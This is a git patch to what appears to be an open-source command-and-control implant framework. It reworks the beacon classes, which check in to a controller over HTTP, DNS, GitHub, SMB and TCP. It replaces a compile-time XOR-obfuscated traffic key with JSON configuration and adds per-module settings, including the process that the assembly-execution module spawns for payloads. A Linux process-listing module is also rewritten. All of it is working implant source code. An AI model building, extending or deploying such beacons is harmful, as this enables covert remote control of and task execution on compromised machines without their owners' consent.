From f1bd0635cf04d13daecb7283f9343bd75414d97a Mon Sep 17 00:00:00 2001 From: maxdcb Date: Thu, 12 Dec 2024 08:23:05 -0500 Subject: [PATCH] Beacon config --- beacon/Beacon.cpp | 84 +++++++++++-- beacon/Beacon.hpp | 39 +----- beacon/BeaconDns.cpp | 7 +- beacon/BeaconDns.hpp | 2 +- beacon/BeaconGithub.cpp | 7 +- beacon/BeaconGithub.hpp | 2 +- beacon/BeaconHttp.cpp | 31 +++-- beacon/BeaconHttp.hpp | 3 + beacon/BeaconSmb.cpp | 7 +- beacon/BeaconSmb.hpp | 2 +- beacon/BeaconTcp.cpp | 10 +- beacon/BeaconTcp.hpp | 5 +- beacon/CMakeLists.txt | 20 ++-- modules/AssemblyExec/AssemblyExec.cpp | 12 ++ modules/AssemblyExec/AssemblyExec.hpp | 3 + modules/ListProcesses/ListProcesses.cpp | 152 ++++++++++++++++++------ modules/ModuleCmd/ModuleCmd.hpp | 1 + 17 files changed, 271 insertions(+), 116 deletions(-) diff --git a/beacon/Beacon.cpp b/beacon/Beacon.cpp index 32f419c..198a05c 100644 --- a/beacon/Beacon.cpp +++ b/beacon/Beacon.cpp @@ -32,12 +32,12 @@ typedef ModuleCmd* (*constructProc)(); using namespace std; -// XOR encrypted at compile time, so don't appear in string -constexpr std::string_view _KeyTraficEncryption_ = "dfsdgferhzdzxczevre5595485sdg"; -constexpr std::string_view mainKeyConfig = ".CRT$XCL"; +// // XOR encrypted at compile time, so don't appear in string +// constexpr std::string_view _KeyTraficEncryption_ = "dfsdgferhzdzxczevre5595485sdg"; +// constexpr std::string_view mainKeyConfig = ".CRT$XCL"; -// compile time encryption -constexpr std::array _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig); +// // compile time encryption +// constexpr std::array _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig); #ifdef __linux__ @@ -100,10 +100,15 @@ IntegrityLevel GetCurrentProcessIntegrityLevel() #endif -Beacon::Beacon(const std::string& ip, int port) +Beacon::Beacon() { - m_ip = ip; - m_port = port; + // // decrypt key + // std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_)); + // std::string key(mainKeyConfig); + // XOR(keyDecrypted, key); + + // m_key=keyDecrypted; + m_beaconHash = random_string(SizeBeaconHash); m_aliveTimerMs = 1000; @@ -223,12 +228,51 @@ Beacon::Beacon(const std::string& ip, int port) m_privilege = "HIGH"; #endif - // decrypt key - std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_)); - std::string key(mainKeyConfig); - XOR(keyDecrypted, key); - m_key=keyDecrypted; +} + + +void Beacon::run() +{ + bool exit = false; + while (!exit) + { + try + { + checkIn(); + + exit = runTasks(); + + sleep(); + } + catch(const std::exception& ex) + { + // std::cout << "Exeption " << std::endl; + // std::cout << "Exeption " << ex.what() << std::endl; + sleep(); + } + catch (...) + { + // std::cout << "Exeption" << std::endl; + sleep(); + } + } + + checkIn(); +} + + +bool Beacon::initConfig(const std::string& config) +{ + nlohmann::json beaconConfig = nlohmann::json::parse(config); + + m_key = beaconConfig["xorKey"].get(); + + m_modulesConfig = beaconConfig["ModulesConfig"]; + + std::cout << "m_modulesConfig " << m_modulesConfig << std::endl; + + return true; } @@ -745,8 +789,22 @@ bool Beacon::execInstruction(C2Message& c2Message, C2Message& c2RetMessage) } std::unique_ptr moduleCmd_(moduleCmd); + + // initConfig for modules + nlohmann::json config = m_modulesConfig; + for (auto& it : config.items()) + { + unsigned long long moduleHash = djb2(it.key()); + if(moduleCmd_.get()->getHash() == moduleHash) + { + moduleCmd_.get()->initConfig(it.value()); + } + } + m_moduleCmd.push_back(std::move(moduleCmd_)); + + c2RetMessage.set_returnvalue(CmdStatusSuccess); return false; diff --git a/beacon/Beacon.hpp b/beacon/Beacon.hpp index ce67ab7..b767de5 100644 --- a/beacon/Beacon.hpp +++ b/beacon/Beacon.hpp @@ -20,50 +20,21 @@ class Beacon { public: - Beacon(const std::string& ip, int port); + Beacon(); virtual ~Beacon(){}; - void run() - { - bool exit = false; - while (!exit) - { - try - { - checkIn(); - - exit = runTasks(); - - sleep(); - } - catch(const std::exception& ex) - { - // std::cout << "Exeption " << std::endl; - // std::cout << "Exeption " << ex.what() << std::endl; - sleep(); - } - catch (...) - { - // std::cout << "Exeption" << std::endl; - sleep(); - } - } - - checkIn(); - } + bool initConfig(const std::string& config); + void run(); +protected: virtual void checkIn() = 0; bool runTasks(); void sleep(); -protected: bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage); bool cmdToTasks(const std::string& input); bool taskResultsToCmd(std::string& output); - std::string m_ip; - int m_port; - int m_aliveTimerMs; std::string m_beaconHash; @@ -78,6 +49,8 @@ protected: private: std::string m_key; + nlohmann::json m_modulesConfig; + std::vector> m_moduleCmd; std::vector> m_listeners; std::vector> m_socksTunnelClient; diff --git a/beacon/BeaconDns.cpp b/beacon/BeaconDns.cpp index f186066..a2a0252 100644 --- a/beacon/BeaconDns.cpp +++ b/beacon/BeaconDns.cpp @@ -4,9 +4,12 @@ using namespace std; using namespace dns; -BeaconDns::BeaconDns(const std::string& dnsServer, const std::string& domain) - : Beacon("127.0.0.1", 666) +BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain) + : Beacon() { + // beacon and modules config + initConfig(config); + m_client=new Client(dnsServer, domain); } diff --git a/beacon/BeaconDns.hpp b/beacon/BeaconDns.hpp index fc5fc0a..4ee6970 100644 --- a/beacon/BeaconDns.hpp +++ b/beacon/BeaconDns.hpp @@ -8,7 +8,7 @@ class BeaconDns : public Beacon { public: - BeaconDns(const std::string& dnsServer, const std::string& domain); + BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain); ~BeaconDns(); private: diff --git a/beacon/BeaconGithub.cpp b/beacon/BeaconGithub.cpp index f74950a..2be0d9c 100644 --- a/beacon/BeaconGithub.cpp +++ b/beacon/BeaconGithub.cpp @@ -371,13 +371,16 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url) -BeaconGithub::BeaconGithub(const std::string& project, const std::string& token) - : Beacon("127.0.0.1", 666) +BeaconGithub::BeaconGithub(std::string& config, const std::string& project, const std::string& token) + : Beacon() , m_project(project) , m_token(token) { m_aliveTimerMs = 1000 * 10; srand(time(NULL)); + + // beacon and modules config + initConfig(config); } diff --git a/beacon/BeaconGithub.hpp b/beacon/BeaconGithub.hpp index 93e1690..d039db9 100644 --- a/beacon/BeaconGithub.hpp +++ b/beacon/BeaconGithub.hpp @@ -7,7 +7,7 @@ class BeaconGithub : public Beacon { public: - BeaconGithub(const std::string& project, const std::string& token); + BeaconGithub(std::string& config, const std::string& project, const std::string& token); ~BeaconGithub(); void checkIn(); diff --git a/beacon/BeaconHttp.cpp b/beacon/BeaconHttp.cpp index 2979b75..a7c813d 100644 --- a/beacon/BeaconHttp.cpp +++ b/beacon/BeaconHttp.cpp @@ -313,12 +313,23 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con BeaconHttp::BeaconHttp(std::string& config, std::string& ip, int port, bool isHttps) - : Beacon(ip, port) + : Beacon() , m_isHttps(isHttps) { srand(time(NULL)); - m_beaconHttpConfig = nlohmann::json::parse(config); + m_ip = ip; + m_port = port; + + // Http communcation config + nlohmann::json configJson = nlohmann::json::parse(config); + if(isHttps) + m_beaconHttpConfig = configJson["ListenerHttpsConfig"]; + else + m_beaconHttpConfig = configJson["ListenerHttpConfig"]; + + // beacon and modules config + initConfig(config); for(int i=0; i& output); diff --git a/beacon/CMakeLists.txt b/beacon/CMakeLists.txt index 6f17cf3..2baa47a 100644 --- a/beacon/CMakeLists.txt +++ b/beacon/CMakeLists.txt @@ -17,8 +17,8 @@ if(WIN32) else() target_link_libraries(BeaconHttpLib SocketHandler PipeHandler MemoryModule SocksServer openssl::openssl httplib::httplib) endif() -add_custom_command(TARGET BeaconHttpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy -$ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") +# add_custom_command(TARGET BeaconHttpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +# $ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") set(SOURCES_BEACON_TCP_EXE @@ -37,8 +37,8 @@ if(WIN32) else() target_link_libraries(BeaconTcpLib SocketHandler PipeHandler MemoryModule SocksServer ) endif() -add_custom_command(TARGET BeaconTcpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy -$ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") +# add_custom_command(TARGET BeaconTcpLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +# $ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") set(SOURCES_BEACON_SMB_EXE @@ -57,8 +57,8 @@ if(WIN32) else() target_link_libraries(BeaconSmbLib SocketHandler PipeHandler MemoryModule SocksServer ) endif() -add_custom_command(TARGET BeaconSmbLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy -$ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") +# add_custom_command(TARGET BeaconSmbLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +# $ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") set(SOURCES_BEACON_GITHUB_EXE @@ -77,8 +77,8 @@ if(WIN32) else() target_link_libraries(BeaconGithubLib SocketHandler PipeHandler MemoryModule SocksServer openssl::openssl httplib::httplib) endif() -add_custom_command(TARGET BeaconGithubLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy -$ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") +# add_custom_command(TARGET BeaconGithubLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +# $ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") set(SOURCES_BEACON_DNS_EXE @@ -97,5 +97,5 @@ if(WIN32) else() target_link_libraries(BeaconDnsLib Dnscommunication SocketHandler PipeHandler MemoryModule SocksServer ) endif() -add_custom_command(TARGET BeaconDnsLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy -$ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") +# add_custom_command(TARGET BeaconDnsLib POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy +# $ "${CMAKE_SOURCE_DIR}/Release/Beacons/$") diff --git a/modules/AssemblyExec/AssemblyExec.cpp b/modules/AssemblyExec/AssemblyExec.cpp index 0ec15da..1bcd236 100644 --- a/modules/AssemblyExec/AssemblyExec.cpp +++ b/modules/AssemblyExec/AssemblyExec.cpp @@ -203,6 +203,18 @@ int AssemblyExec::init(std::vector &splitedCmd, C2Message &c2Messag } +int AssemblyExec::initConfig(const nlohmann::json &config) +{ + for (auto& it : config.items()) + { + if(it.key()=="process") + m_processToSpawn = it.value(); + } + + return 0; +} + + int AssemblyExec::process(C2Message &c2Message, C2Message &c2RetMessage) { const std::string payload = c2Message.data(); diff --git a/modules/AssemblyExec/AssemblyExec.hpp b/modules/AssemblyExec/AssemblyExec.hpp index a18f6c5..dbbf3e3 100644 --- a/modules/AssemblyExec/AssemblyExec.hpp +++ b/modules/AssemblyExec/AssemblyExec.hpp @@ -17,9 +17,12 @@ public: std::string getInfo(); int init(std::vector& splitedCmd, C2Message& c2Message); + int initConfig(const nlohmann::json &config); int process(C2Message& c2Message, C2Message& c2RetMessage); private: + std::string m_processToSpawn; + #ifdef _WIN32 int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result); int createNewThread(const std::string& payload, std::string& result); diff --git a/modules/ListProcesses/ListProcesses.cpp b/modules/ListProcesses/ListProcesses.cpp index eb68b00..50ac629 100644 --- a/modules/ListProcesses/ListProcesses.cpp +++ b/modules/ListProcesses/ListProcesses.cpp @@ -41,62 +41,138 @@ using namespace std; #ifdef __linux__ -#define PROC_DIRECTORY "/proc/" -int IsNumeric(const char* ccharptr_CharacterList) +namespace fs = std::filesystem; + + +struct ProcessInfo { - for ( ; *ccharptr_CharacterList; ccharptr_CharacterList++) - if (*ccharptr_CharacterList < '0' || *ccharptr_CharacterList > '9') - return 0; - return 1; + std::string user; + int pid; + std::string state; + long memory; + std::string command; +}; + + +std::string get_username(uid_t uid) +{ + struct passwd *pw = getpwuid(uid); + return pw ? pw->pw_name : "unknown"; } -std::string GetProcess() + +ProcessInfo get_process_info(const std::string& pid_dir) { - std::string result; - - DIR* dir_proc = opendir(PROC_DIRECTORY) ; - if (dir_proc == NULL) - return result; + ProcessInfo proc_info; + proc_info.pid = std::stoi(pid_dir); - struct dirent* dirEntity = NULL; - while((dirEntity = readdir(dir_proc))) + // Read /proc/[PID]/status for user and state + std::ifstream status_file("/proc/" + pid_dir + "/status"); + std::string line; + uid_t uid = -1; + + while (std::getline(status_file, line)) { - if (dirEntity->d_type == DT_DIR) + if (line.find("Uid:") == 0) { - if (IsNumeric(dirEntity->d_name)) + std::istringstream iss(line); + std::string label; + iss >> label >> uid; // Get the real UID + proc_info.user = get_username(uid); + } + else if (line.find("State:") == 0) + { + proc_info.state = line.substr(7, 1); // Skip "State:" + } + } + + // Read /proc/[PID]/stat for memory usage + std::ifstream stat_file("/proc/" + pid_dir + "/stat"); + if (stat_file) + { + std::string temp; + long rss; + for (int i = 0; i < 23; ++i) + { + stat_file >> temp; // Skip to the 24th field (RSS) + } + stat_file >> rss; // Resident Set Size in pages + proc_info.memory = rss * sysconf(_SC_PAGESIZE) / 1024; // Convert to KB + } + + // Read /proc/[PID]/cmdline for command + std::ifstream cmdline_file("/proc/" + pid_dir + "/cmdline"); + if (cmdline_file) + { + std::string buffer((std::istreambuf_iterator(cmdline_file)), std::istreambuf_iterator()); + + // Split on null character '\0' + std::vector args; + std::istringstream iss(buffer); + std::string arg; + while (std::getline(iss, arg, '\0')) + { + if (!arg.empty()) { - std::string CommandLinePath = PROC_DIRECTORY; - CommandLinePath+=dirEntity->d_name; - CommandLinePath+="/cmdline"; + args.push_back(arg); + } + } - struct stat info; - stat(CommandLinePath.c_str(), &info); // Error check omitted - struct passwd *pw = getpwuid(info.st_uid); - std::string owner = ""; - if(pw != 0) - owner = pw->pw_name; + // Join arguments with spaces to reconstruct the real command line + for (size_t i = 0; i < args.size(); ++i) + { + if (i > 0) + { + proc_info.command += " "; + } + proc_info.command += args[i]; + } - std::ifstream t(CommandLinePath); - std::stringstream buffer; - buffer << t.rdbuf(); + } - pid_t pid = (pid_t)atoi(dirEntity->d_name); - std::string ProcessName = buffer.str(); + return proc_info; +} - if(!ProcessName.empty()) + +std::string GetProcess() +{ + std::vector processes; + + // Iterate over /proc + for (const auto& entry : fs::directory_iterator("/proc")) + { + if (entry.is_directory()) + { + std::string dirname = entry.path().filename().string(); + if (std::all_of(dirname.begin(), dirname.end(), ::isdigit)) + { + try { - result += owner; - result += " "; - result += std::to_string(pid); - result += " "; - result += ProcessName.substr(0,128); - result += "\n"; + processes.push_back(get_process_info(dirname)); + } + catch (...) + { + // Skip processes we can't access } } } } - closedir(dir_proc) ; + + // Print header + std::string result; + result += "USER" + std::string(16-4, ' ') + "PID" + std::string(12-3, ' ') + "STATE" + std::string(6-5, ' ') + "MEM(KB)" + std::string(12-7, ' ') + "COMMAND\n"; + + // Print processes + for (const auto& proc : processes) + { + result += proc.user + std::string(std::max((int)(16-proc.user.size()), 1), ' ') + + std::to_string(proc.pid) + std::string(std::max((int)(12-std::to_string(proc.pid).size()), 1), ' ') + + proc.state + std::string(std::max((int)(6-proc.state.size()), 1), ' ') + + std::to_string(proc.memory) + std::string(std::max((int)(12-std::to_string(proc.memory).size()), 1), ' ') + + proc.command + "\n"; + } + return result; } diff --git a/modules/ModuleCmd/ModuleCmd.hpp b/modules/ModuleCmd/ModuleCmd.hpp index a11cf65..e4cfc6f 100644 --- a/modules/ModuleCmd/ModuleCmd.hpp +++ b/modules/ModuleCmd/ModuleCmd.hpp @@ -63,6 +63,7 @@ public: // if an error ocurre: // set_returnvalue(errorMsg) && return -1 virtual int init(std::vector& splitedCmd, C2Message& c2Message) = 0; + virtual int initConfig(const nlohmann::json &config) {return 0;}; virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0; virtual int followUp(const C2Message &c2RetMessage) {return 0;}; virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;};